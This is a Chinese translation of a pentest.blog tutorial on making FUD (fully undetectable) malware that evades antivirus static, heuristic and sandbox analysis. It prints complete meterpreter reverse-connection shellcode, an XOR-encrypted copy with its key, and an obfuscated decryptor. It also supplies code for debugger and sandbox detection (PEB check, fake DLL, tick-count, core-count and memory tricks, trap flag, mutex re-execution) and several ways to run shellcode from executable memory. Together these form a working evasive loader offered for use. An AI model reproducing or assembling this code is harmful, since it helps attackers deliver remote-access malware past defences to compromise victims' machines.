原文地址: https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/

譯者:MyKings@知道創宇404實驗室

本文將講解繞過靜態、動態、啟發式分析等最新的防病毒產品檢測的方法,有些方法已經眾所知,但是還有一些方法和實現技巧可以來生成 FUD(對所有殺毒軟件都免殺)惡意軟件。

惡意軟件的大小差不多和反檢測一樣重要,當達到免殺時我會盡量減小它的體積。 本文還講解了反毒軟件和 Windows 操作系統內部的底層工作原理,閱讀者應該至少具有 C/C++、匯編知識的一種,并對 PE 文件結構有一定的了解。

1. 基本介紹

實現反檢測技術應針對每種惡意軟件類型做不同的處理,本文中講解的所有方法將適用于所有類型的惡意軟件。

但本文主要集中在 meterpreter 這種 payload 上,因為 meterpreter 能做所有其他惡意軟件做的事情,例如: 提權、憑證竊取、進程遷移、注冊表操作和分配更多的后續攻擊,meterpreter 還有一個非常活躍的社區,并且它在安全研究人員中非常流行。

譯者注:

  1. 惡意軟件分類:病毒、木馬、僵尸程序、流氓軟件、勒索軟件、廣告程序等 https://zh.wikipedia.org/wiki/%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6

  2. Meterpreter 是一種高級可動態擴展的有效負載,它使用內存中的 DLL 注入 stager,并在運行時通過網絡擴展。 https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

2. 專業術語

2.1 基于簽名檢測

傳統的防病毒軟件很大程度上依賴于簽名來識別惡意軟件。

基本上當惡意軟件樣本到達防病毒公司手中時,它由惡意軟件研究人員或動態分析系統分析。然后,一旦確定是惡意軟件,則提取文件的適當簽名并將其添加到反病毒軟件的簽名數據庫中。[1]

2.2 靜態程序分析

靜態程序分析是在不實際運行程序的情況下進行軟件的分析。

在大多數情況下,分析是對某些版本的源代碼進行的。而在其他情況下,是某種形式的目標代碼(譯者注: 如二進制文件, 需要進行逆向反匯編操作 )。[2]

2.3 動態程序分析

動態程序分析是通過在真實或虛擬處理器上執行程序而進行的計算機軟件的分析。 為了使動態程序分析有效,目標程序必須執行足夠的測試輸入以產生有趣的行為(如: 異常退出)。[3]

2.4 沙箱技術

在計算機安全中,沙箱是用于隔離正在運行的程序的安全機制。 它通常用于執行未經測試或不受信任的程序或代碼,這個程序代碼可能來自未經驗證的或不受信任的第三方、供應商、用戶或網站,而不會危害主機或操作系統。[4]

2.5 啟發式分析

啟發式分析是許多計算機防病毒軟件使用的一種方法,其被設計用于檢測未知的計算機病毒,以及新的病毒變體。

啟發式分析是基于專家的分析,其確定系統對特定威脅/風險使用各種決策規則或衡量方法。 多標準分析(MCA)是衡量的手段之一。 這種方法不同于統計分析,其基于可用的數據/統計。[5]

2.6 信息熵

在計算中,熵是由操作系統或應用收集的用于在密碼學或需要隨機數據的其他用途中使用的隨機性。

這種隨機性通常從硬件源收集,例如鼠標移動或專門提供的隨機發生器。 缺乏熵可能對性能和安全性產生負面影響。[6]

3 常見技術

當涉及到減少惡意軟件被檢測到的風險時,我們首先考慮到的是加密、加殼和代碼混淆。

當然這些工具和技術仍然能夠繞過大量的 AV 產品,但是由于網絡安全領域的不斷進步,大部分流行的工具和方法已經逐步過時,不能夠創造出 FUD(免殺的)惡意軟件。

為了理解這些技術和工具的內部原理,我會給出簡要的描述;

3.1 混淆

代碼混淆可以被定義為混合二進制的源代碼而不破壞真實函數,它使得靜態分析更困難,并且還改變二進制的散列簽名。

可以通過添加幾行垃圾代碼或以編程方式更改指令的執行順序來實現混淆。 這種方法可以繞過良好的 AV 產品,但它的效果取決于你混淆的次數。

3.2 加殼

加殼將可執行文件進行壓縮打包, 并將壓縮數據與解壓縮代碼組合成單個可執行文件的一種手段。 當執行被壓縮過的可執行文件時,解壓縮代碼會在執行之前從壓縮數據中重新創建原始代碼。

在大多數情況下這個操作是透明的,所以壓縮過的可執行文與原始程序一樣可以正常運行。當 AV 掃描器掃描壓縮過的惡意軟件時,它需要知道壓縮算法并將其解壓縮。 因為壓縮過的文件更難分析, 所以惡意軟件一般都會被壓縮加殼等。

3.3 加密

加密是對給定的二進制程序進行加密,使其難以分析或被逆向。 加密存在兩個部分: 一個構建器,一個存根。構建器只是加密給定的二進制在 stub 內的位置,stub 是該加密的最重要的部分,當我們的二進制執行,第一 stub 運行和解密原始二進制到存儲器,然后通過 "RunPE" 方法(在大多數情況下)對存儲器執行 binary。

4 加殼與加密的問題

在開始之前,我們需要知道主流技術和工具中有哪些錯誤。 今天的 AV 公司已經意識到了危險,他們現在不僅僅是對惡意軟件簽名和有害行為分析,還能夠識別加殼與加密的痕跡。

與檢測惡意軟件相比,檢測加密和加殼是相對容易的,因為他們都有某些可疑的行為,如: 解密加密過的 PE 文件,并在內存上執行它。

4.1 PE 注入

為了完全理解 PE 映像在內存執行情況, 我們需要先談論下 Windows 中如何加載 PE 文件。 通常,當編譯 PE 文件時,編譯器將主模塊地址設置為 0x00400000,同時根據主模塊地址計算編譯過程中所有完整地址指針和地址的長跳轉指令,在編譯過程結束時編譯器在 PE 文件中創建一個重定位分區表,重定位分區表包含映像基地址的指令地址,諸如完整地址指針和長跳轉指令。

在執行 PE 映像時,操作系統檢查 PE 映像的首選地址空間是否可用,如果首選地址空間不可用,則操作系統將 PE 映像隨機加載到一個可用的內存地址上,在啟動進程之前系統加載程序需要調整內存上的絕對地址,在重定位分區系統加載器的幫助下修正所有地址相關指令并啟動掛起的進程。 所有這種機制稱為 “地址布局隨機化(ASLR)”。[7]

為了讓內存中的密碼器執行 PE 映像,需要解析 PE 報頭并重新定位絕對地址。幾乎在我們對每一種用 C 或更高級語言編寫的加密程序分析時,我們經常可以看到 “NtUnmapViewOfSection”、 “ZwUnmapViewOfSection” 這些 Windows API 函數接口的調用,這些函數簡單地從主體進程的虛擬地址空間中取消映射一個分區視圖,它們在內存執行方法調用中 RunPE 扮演了非常重要的角色幾乎使用了90%。

xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));

當然,AV 產品不能僅僅因為程序使用了這些 Windows API 函數,就認為每個程序都是惡意的,但使用這些函數的順序很重要。 有小部分的 crypters(大多數寫在匯編)不使用這些功能和手動執行重定位,他們是有時效性的,使用 crypters 不合算,因為在邏輯上沒有無害的程序會嘗試模仿系統的加載程序。

另一個缺點是輸入文件的巨大熵增加,因為加密整個 PE 文件,熵將不可避免地上升,當 AV 掃描程序檢測到 PE 文件上的異常熵時,他們可能會將文件標記為可疑。

4.2 完美方法

加密惡意代碼的概念是明智的,但是解密功能應當被正確地混淆,并且當涉及在內存中執行解密的代碼時,我們必須在不重定位絕對地址的情況下進行,還必須有檢測機制檢查惡意軟件是否在沙箱中被動態分析,如果檢測機制檢測到惡意軟件正由 AV 分析,則不應執行解密功能。而不是加密整個 PE 文件,應當加密 shellcode 或只有 .text 節的二進制最佳,它保持熵和低體積,并且不更改圖像頭和節。

這是惡意軟件流程圖。

我們的 “AV檢測” 功能將檢測惡意軟件是否正在沙箱中被動態分析,如果功能檢測到AV掃描器的任何跡象,則它將再次調用主函數或者僅當 “AV Detect” 函數來用。如果沒有發現AV掃描器的任何跡象,它會調用 “解密Shellcode” 的功能。

這是 meterpreter 反向連接 shellcode 的原始格式。

unsigned char Shellcode[] = {
  0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
  0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
  0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
  0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
  0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
  0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
  0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
  0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
  0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
  0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
  0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
  0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77,
  0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8,
  0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b,
  0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02,
  0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40,
  0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56,
  0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c,
  0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5,
  0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff,
  0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
  0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00,
  0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3,
  0x29, 0xc6, 0x75, 0xee, 0xc3
};

為了保持熵和體積大小在適當的值,我將這個 shellcode 傳遞給簡單的 xor 密碼與多字節 key,xor 不是像 RC4blowfish 加密標準,但我們不需要一個強加密,AV產品不會嘗試解密 shellcode,使其不可讀和不可檢測的靜態字符串分析就足夠了, 也使用 xor 進行解密過程更快更多,避免加密庫在代碼中將減少很多體積。

這是同一個 meterpreter 代碼用 XOR 加密后。

unsigned char Shellcode[] = {
  0xfb, 0xcd, 0x8d, 0x9e, 0xba, 0x42, 0xe1, 0x93, 0xe2, 0x14, 0xcf, 0xfa,
  0x31, 0x12, 0xb1, 0x91, 0x55, 0x29, 0x84, 0xcc, 0xae, 0xc9, 0xf3, 0x32,
  0x08, 0x92, 0x45, 0xb8, 0x8b, 0xbd, 0x2d, 0x26, 0x66, 0x59, 0x0d, 0xb2,
  0x9a, 0x83, 0x4e, 0x17, 0x06, 0xe2, 0xed, 0x6c, 0xe8, 0x15, 0x0a, 0x48,
  0x17, 0xae, 0x45, 0xa2, 0x31, 0x0e, 0x90, 0x62, 0xe4, 0x6d, 0x0e, 0x4f,
  0xeb, 0xc9, 0xd8, 0x3a, 0x06, 0xf6, 0x84, 0xd7, 0xa2, 0xa1, 0xbb, 0x53,
  0x8c, 0x11, 0x84, 0x9f, 0x6c, 0x73, 0x7e, 0xb6, 0xc6, 0xea, 0x02, 0x9f,
  0x7d, 0x7a, 0x61, 0x6f, 0xf1, 0x26, 0x72, 0x66, 0x81, 0x3f, 0xa5, 0x6f,
  0xe3, 0x7d, 0x84, 0xc6, 0x9e, 0x43, 0x52, 0x7c, 0x8c, 0x29, 0x44, 0x15,
  0xe2, 0x5e, 0x80, 0xc9, 0x8c, 0x21, 0x84, 0x9f, 0x6a, 0xcb, 0xc5, 0x3e,
  0x23, 0x7e, 0x54, 0xff, 0xe3, 0x18, 0xd0, 0xe5, 0xe7, 0x7a, 0x50, 0xc4,
  0x31, 0x50, 0x6a, 0x97, 0x5a, 0x4d, 0x3c, 0xac, 0xba, 0x42, 0xe9, 0x6d,
  0x74, 0x17, 0x50, 0xca, 0xd2, 0x0e, 0xf6, 0x3c, 0x00, 0xda, 0xda, 0x26,
  0x2a, 0x43, 0x81, 0x1a, 0x2e, 0xe1, 0x5b, 0xce, 0xd2, 0x6b, 0x01, 0x71,
  0x07, 0xda, 0xda, 0xf4, 0xbf, 0x2a, 0xfe, 0x1a, 0x07, 0x24, 0x67, 0x9c,
  0xba, 0x53, 0xdd, 0x93, 0xe1, 0x75, 0x5f, 0xce, 0xea, 0x02, 0xd1, 0x5a,
  0x57, 0x4d, 0xe5, 0x91, 0x65, 0xa2, 0x7e, 0xcf, 0x90, 0x4f, 0x1f, 0xc8,
  0xed, 0x2a, 0x18, 0xbf, 0x73, 0x44, 0xf0, 0x4b, 0x3f, 0x82, 0xf5, 0x16,
  0xf8, 0x6b, 0x07, 0xeb, 0x56, 0x2a, 0x71, 0xaf, 0xa5, 0x73, 0xf0, 0x4b,
  0xd0, 0x42, 0xeb, 0x1e, 0x51, 0x72, 0x67, 0x9c, 0x63, 0x8a, 0xde, 0xe5,
  0xd2, 0xae, 0x39, 0xf4, 0xfa, 0x2a, 0x81, 0x0a, 0x07, 0x25, 0x59, 0xf4,
  0xba, 0x2a, 0xd9, 0xbe, 0x54, 0xc0, 0xf0, 0x4b, 0x29, 0x11, 0xeb, 0x1a,
  0x51, 0x76, 0x58, 0xf6, 0xb8, 0x9b, 0x49, 0x45, 0xf8, 0xf0, 0x0e, 0x5d,
  0x93, 0x84, 0xf4, 0xf4, 0xc4
};

unsigned char Key[] = {
  0x07, 0x25, 0x0f, 0x9e, 0xba, 0x42, 0x81, 0x1a
};

因為我們正在寫一個新的惡意軟件,我們的惡意軟件的哈希簽名將不會被反病毒產品所知,所以我們不需要擔心基于簽名的檢測,我們將加密我們的 shellcode 和混淆我們的反檢測/反逆向的解密函數, 這是用于繞過靜態/啟發式分析階段的方法。只有個階段我們需要繞過,它是動態分析階段,最重要的部分是 “AV檢測” 功能的成功。開始編寫函數之前,我們需要了解AV產品的啟發式引擎是如何工作。

5 啟發式引擎

啟發式引擎基本上是基于統計和規則的分析機制。它們的主要目的是通過根據預定義標準對代碼片段進行分類和提供威脅/風險等級來檢測新一代(先前未知的)病毒,即使當由AV產品掃描簡單的 hello world 程序時,啟發式引擎決定威脅/風險分數該分數高于閾值,那么該文件被標記為惡意。 啟發式引擎是他們使用大量規則和標準的AV產品的最先進的部分,因為沒有反病毒公司發布藍圖或關于他們的啟發式引擎的文檔所有已知的威脅/風險分級政策的選擇性標準被發現嘗試和錯誤。

一些關于威脅分級的已知規則;

  • 檢測到循環解密
  • 讀取活動計算機名稱
  • 讀取加密機 GUID
  • 聯系隨機域名
  • 讀取 Windows 安裝日期
  • 刪除可執行文件
  • 在二進制存儲器中找到潛在的 IP 地址
  • 修改代理設置
  • 安裝 HOOKS/PATCHES 正在運行的進程
  • 注入到 Explorer
  • 遠程進程注入
  • 查詢進程信息
  • 設置進程模式來壓制彈出框
  • 特別熵
  • 可能檢查防病毒引擎的存在
  • 監視特定的注冊表項以進行更改
  • 包含提升權限的能力
  • 修改軟件策略設置
  • 讀取系統/視頻 BIOS 版本
  • PE 頭中的入口點在不常見的區段中
  • 創建保護的內存區域
  • 產生了很多進程
  • 設法休眠很長時間
  • 特殊的區段
  • 讀取 Windows 產品 ID
  • 包含循環解密
  • 包含啟動/交互設備驅動程序的能力
  • 包含阻止用戶輸入的能力

當我們寫反AV檢測和解密 Shellcode 的函數時,我們必須小心上面提到的所有規則。

5.1 解密 Shellcode

混淆解密機制是至關重要的,大多數AV啟發式引擎能夠檢測 PE 文件中的解密循環,在勒索軟件案例的成倍增加后,甚至一些啟發式引擎主要僅用于查找加密/解密行為,在它們檢測到解密行為 ,一些掃描器等待直到 ECX 寄存器大多數時間指示循環結束的 “0”,在它們到達解密循環的結束之后,它們將重新分析文件的解密內容。

這將是 “解密Shellcode” 函數:

void DecryptShellcode() {
  for (int i = 0; i < sizeof(Shellcode); i++) {

    __asm
    {
      PUSH EAX
      XOR EAX, EAX
      JZ True1
      __asm __emit(0xca)
      __asm __emit(0x55)
      __asm __emit(0x78)
      __asm __emit(0x2c)
      __asm __emit(0x02)
      __asm __emit(0x9b)
      __asm __emit(0x6e)
      __asm __emit(0xe9)
      __asm __emit(0x3d)
      __asm __emit(0x6f)

      True1:
      POP EAX
    }

    Shellcode[i] = (Shellcode[i] ^ Key[(i % sizeof(Key))]);

    __asm
    {
      PUSH EAX
      XOR EAX, EAX
      JZ True2
      __asm __emit(0xd5)
      __asm __emit(0xb6)
      __asm __emit(0x43)
      __asm __emit(0x87)
      __asm __emit(0xde)
      __asm __emit(0x37)
      __asm __emit(0x24)
      __asm __emit(0xb0)
      __asm __emit(0x3d)
      __asm __emit(0xee)
      True2:
      POP EAX
    }
  }
}

它是一個for循環,使得 Shellcode 字節和關鍵字節之間進行邏輯 xor 操作,下面和上面的匯編塊字面上注釋,它們覆蓋了隨機字節和跳過它們的邏輯 xor 操作。 因為我們沒有使用任何高級解密機制,這將足以混淆“ 解密Shellcode” 功能。

5.2 動態檢測分析

寫入沙盒檢測機制時,我們需要混淆我們的方法,如果啟發式引擎檢測到任何反逆向工程方法的行為時,這將影響到惡意軟件的威脅分數。

5.3 調試模式

我們的第一個AV檢測機制將檢查我們的進程中是否啟用了調試器,有一個 Windows API 函數可以使用,它的主要工作是 “確定是否調用進程正由用戶模式調試器調試“。但我們不會使用它,因為大多數AV產品都是監控 Windows API 調用的,他們可以使用逆向工程的方法來檢測和處理。而不是使用 Windows API 函數,我們來看看 PEB(Process Environment Block) 塊中的 “BeingDebuged” 字節。

// bool WINAPI IsDebuggerPresent(void);
__asm
{
CheckDebugger:
  PUSH EAX              // Save the EAX value to stack
  MOV EAX, DWORD PTR FS : [0x18] // Get PEB structure address
  MOV EAX, DWORD PTR[EAX + 0x30] // Get being debugged byte
  CMP BYTE PTR[EAX + 2], 0      // Check if being debuged byte is set
  JNE CheckDebugger          // If debugger present check again
  POP EAX              // Put back the EAX value
}

使用一些內聯匯編這段代碼指向 PEB 塊中的 BeingDebuged 字節的指針,如果調試器存在,它將再次檢查,直到堆棧中發生溢出,當溢出發生時,堆棧保護(stack canaries)將觸發異常并且關閉進程, 這是退出程序的最短方法。

手動檢查 BeingDebuged 字節將繞過大量的 AV 產品,但仍有一些AV產品已經能夠對這種手段進行檢測,所以我們需要混淆代碼,以避免靜態字符串分析。

__asm
  {
  CheckDebugger:
    PUSH EAX
    MOV EAX, DWORD PTR FS : [0x18]
    __asm
    {
      PUSH EAX
      XOR EAX, EAX
      JZ J
      __asm __emit(0xea)
    J:
      POP EAX
    }
    MOV EAX, DWORD PTR[EAX + 0x30]
    __asm
    {
      PUSH EAX
      XOR EAX, EAX
      JZ J2
      __asm __emit(0xea)
    J2:
      POP EAX
    }
    CMP BYTE PTR[EAX + 2], 0
    __asm
    {
      PUSH EAX
      XOR EAX, EAX
      JZ J3
      __asm __emit(0xea)
    J3:
      POP EAX
    }
    JNE CheckDebugger
    POP EAX
  }

我在所有操作后添加了跳轉指令,這將不會影響程序正常執行,但是在跳轉之間添加垃圾字節將混淆代碼,并避免靜態字符串過濾器。

5.4 加載假的 lib 庫

我們將嘗試在運行時加載一個不存在的 dll。 通常當我們嘗試加載一個不存在的 dllHISTENCE 返回 NULL,但AV產品中的一些動態分析機制允許這種情況,以便進一步分析程序的執行流程。

bool BypassAV(char const * argv[]) {
  HINSTANCE DLL = LoadLibrary(TEXT("fake.dll"));
  if (DLL != NULL) {
    BypassAV(argv);
  }

5.5 獲取信用計數

在這種方法中我們將利用 AV 產品的時間截止日期。 在大多數情況下,AV 產品是為了用戶友好性設計的,為了不影響用戶的其他操作,他們不能花費太多的時間來掃描文件。最初惡意軟件開發人員使用 “sleep()” 函數等待掃描完成,但現在這個技巧幾乎不能用,因為每個AV產品能夠跳過 sleep 功能。

我們將使用 “GetThickCount()” 的 Windows API 函數(“此函數檢索系統啟動后已經過去的毫秒數,最多為49.7天“),我們使用它來獲取從操作系統啟動后經過的時間,然后嘗試 sleep 1秒 sleep 后,我們將通過比較兩個 GetTickCout() 值來檢查睡眠功能是否被跳過。

  int Tick = GetTickCount();
  Sleep(1000);
  int Tac = GetTickCount();
  if ((Tac - Tick) < 1000) {
    return false;
  }

5.6 核心數

由于AV產品不能夠從宿主機分配太多的資源,我們可以檢查處理器核心數量,以確定我們是否在沙盒中。 甚至一些AV產品不支持多核處理,因此他們不支持超過1個處理器核心到他們的沙箱環境中。

SYSTEM_INFO SysGuide;
GetSystemInfo(&SysGuide);
int CoreNum = SysGuide.dwNumberOfProcessors;
if (CoreNum < 2) {
  return false;
}

5.7 巨大的內存分配

這種方法還利用每個AV掃描的時間截止日期,我們簡單地分配近 100 Mb 的內存,然后我們將填充它的 NULL 字節,最后我們將釋放它。

char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if (Memdmp != NULL) {
  memset(Memdmp, 00, 100000000);
  free(Memdmp);
}

當程序內存在運行時開始增長時,最終AV掃描器將結束掃描,以免在掃描文件上花費太多時間,此方法可以多次使用。 這是一個非常原始和老的技術,但它仍然繞過了大量的掃描。

5.8 陷阱標志操作

陷阱標志用于跟蹤程序,如果此標志被設置,所有指令都將引發 “SINGLE_STEP” 異常。我們可以操縱陷阱標志以阻止跟蹤器,如用下面的代碼來操作陷阱標志:

__asm
{
  PUSHF             // Push all flags to stack
  MOV DWORD [ESP], 0x100    // Set 0x100 to the last flag on the stack
  POPF                 // Put back all flags register values
}

5.9 互斥觸發 WinExec

這種方法非常有前途,因為它的簡單性,我們創建一個條件來檢查某個互斥對象是否已經存在于系統上。

HANDLE AmberMutex = CreateMutex(NULL, TRUE, "FakeMutex");
if(GetLastError() != ERROR_ALREADY_EXISTS){
  WinExec(argv[0],0);
}

如果 “CreateMutex” 函數沒有返回已存在的錯誤,我們可再次執行惡意軟件,因為大多數 AV 產品動態分析時不讓程序啟動新進程或訪問 AV 沙盒外部的文件,當已經存在錯誤發生時,可以開始執行解密功能。 在反檢測中有更多創造性的方法來使用互斥體。

5.10 正確的方法來執行 Shellcodes

從Windows Vista開始,Microsoft引入了數據執行保護或DEP[8],這是一種安全功能,可以通過不時監視程序來幫助防止損壞計算機。監控確保運行的程序有效地使用系統內存。如果計算機上的某個程序的實例使用內存不正確,DEP通知它關閉程序并通知用戶。 這意味著你不能只是把一些字節放到一個字符數組并執行它,你需要使用Windows API函數分配一個帶有讀、寫和執行標志的內存區域。

Microsoft有幾個用于保留內存頁面的內存處理API函數,大多數常見的惡意軟件在字段中使用 “VirtualAlloc” 函數來保留內存頁面,因為你可以猜測函數的常用功能幫助AV產品定義檢測規則,使用其他內存操縱功能也會做到這一點,他們可能吸引較少的關注。

我將列出幾種具有不同內存操作API函數的 shellcode 執行方法,

5.10.1 HeapCreate/HeapAlloc

Windows 還允許創建 RWE 堆區域。

void ExecuteShellcode(){
  HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode), sizeof(Shellcode));
  char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode));
  memcpy(BUFFER, Shellcode, sizeof(Shellcode));
  (*(void(*)())BUFFER)();
}

5.10.2 LoadLibrary/GetProcAddress

LoadLibraryGetProcAddress API 函數組合允許我們使用所有其他的 Windows API 函數,與這種用法將沒有直接調用內存操作函數和惡意軟件可能會較少吸引力。

void ExecuteShellcode(){
  HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll"));
  if(K32 != NULL){
    MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc");
    char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(BUFFER, Shellcode, sizeof(Shellcode));
    (*(void(*)())BUFFER)();
  }
}

5.10.3 GetModuleHandle/GetProcAddress

這個方法甚至不使用 LoadLibrary 函數,它利用已經加載的 kernel32.dllGetModuleHandle 函數從已經加載的 dll 中檢索模塊句柄,這種方法可能是執行 shellcode 最悄無聲息的方法之一。

void ExecuteShellcode(){
  MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
  char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(BUFFER, Shellcode, sizeof(Shellcode));
  (*(void(*)())BUFFER)();
}

5.11 多線程

它總是更難于反向工程多線程 PE 文件,它也是具有挑戰性的AV產品,多線程方法可以使用所有上面所說的執行方式,而不是只是指向一個函數指針到 shellcode 。 它創建一個新線程將執行復雜AV掃描,它允許我們在執行 shellcode 的同時繼續執行 “AV Detect” 功能。

void ExecuteShellcode(){
  char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(BUFFER, Shellcode, sizeof(Shellcode));
  CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL);
  while(TRUE){
    BypassAV(argv);
  }
}

上面的代碼執行 shellcode 與創建一個新的線程,只是在創建線程后有一個無限whlie循環執行旁路AV功能,這種方法幾乎是我們的旁路AV功能雙倍的效果,旁路AV功能將繼續檢查沙盒和動態分析符號,而 shellcode 運行,這也是繞過一些高級的啟發式引擎,直到執行 shellcode 的關鍵。

5.12 結論

到最后,關于編譯惡意軟件還有很多事情需要涵蓋。當編譯源碼時,像堆棧保護程序需要打開的保護措施,增強我們的惡意軟件的逆向工程難度和減小大用條帶化的符號是至關重要的。在本文中使用的內聯匯編語法,建議在 visual studio 上編譯。

使用這些方法組合,生成的惡意軟件能夠繞過35款最先進的AV產品。

參考鏈接

原文參考

譯者參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/222/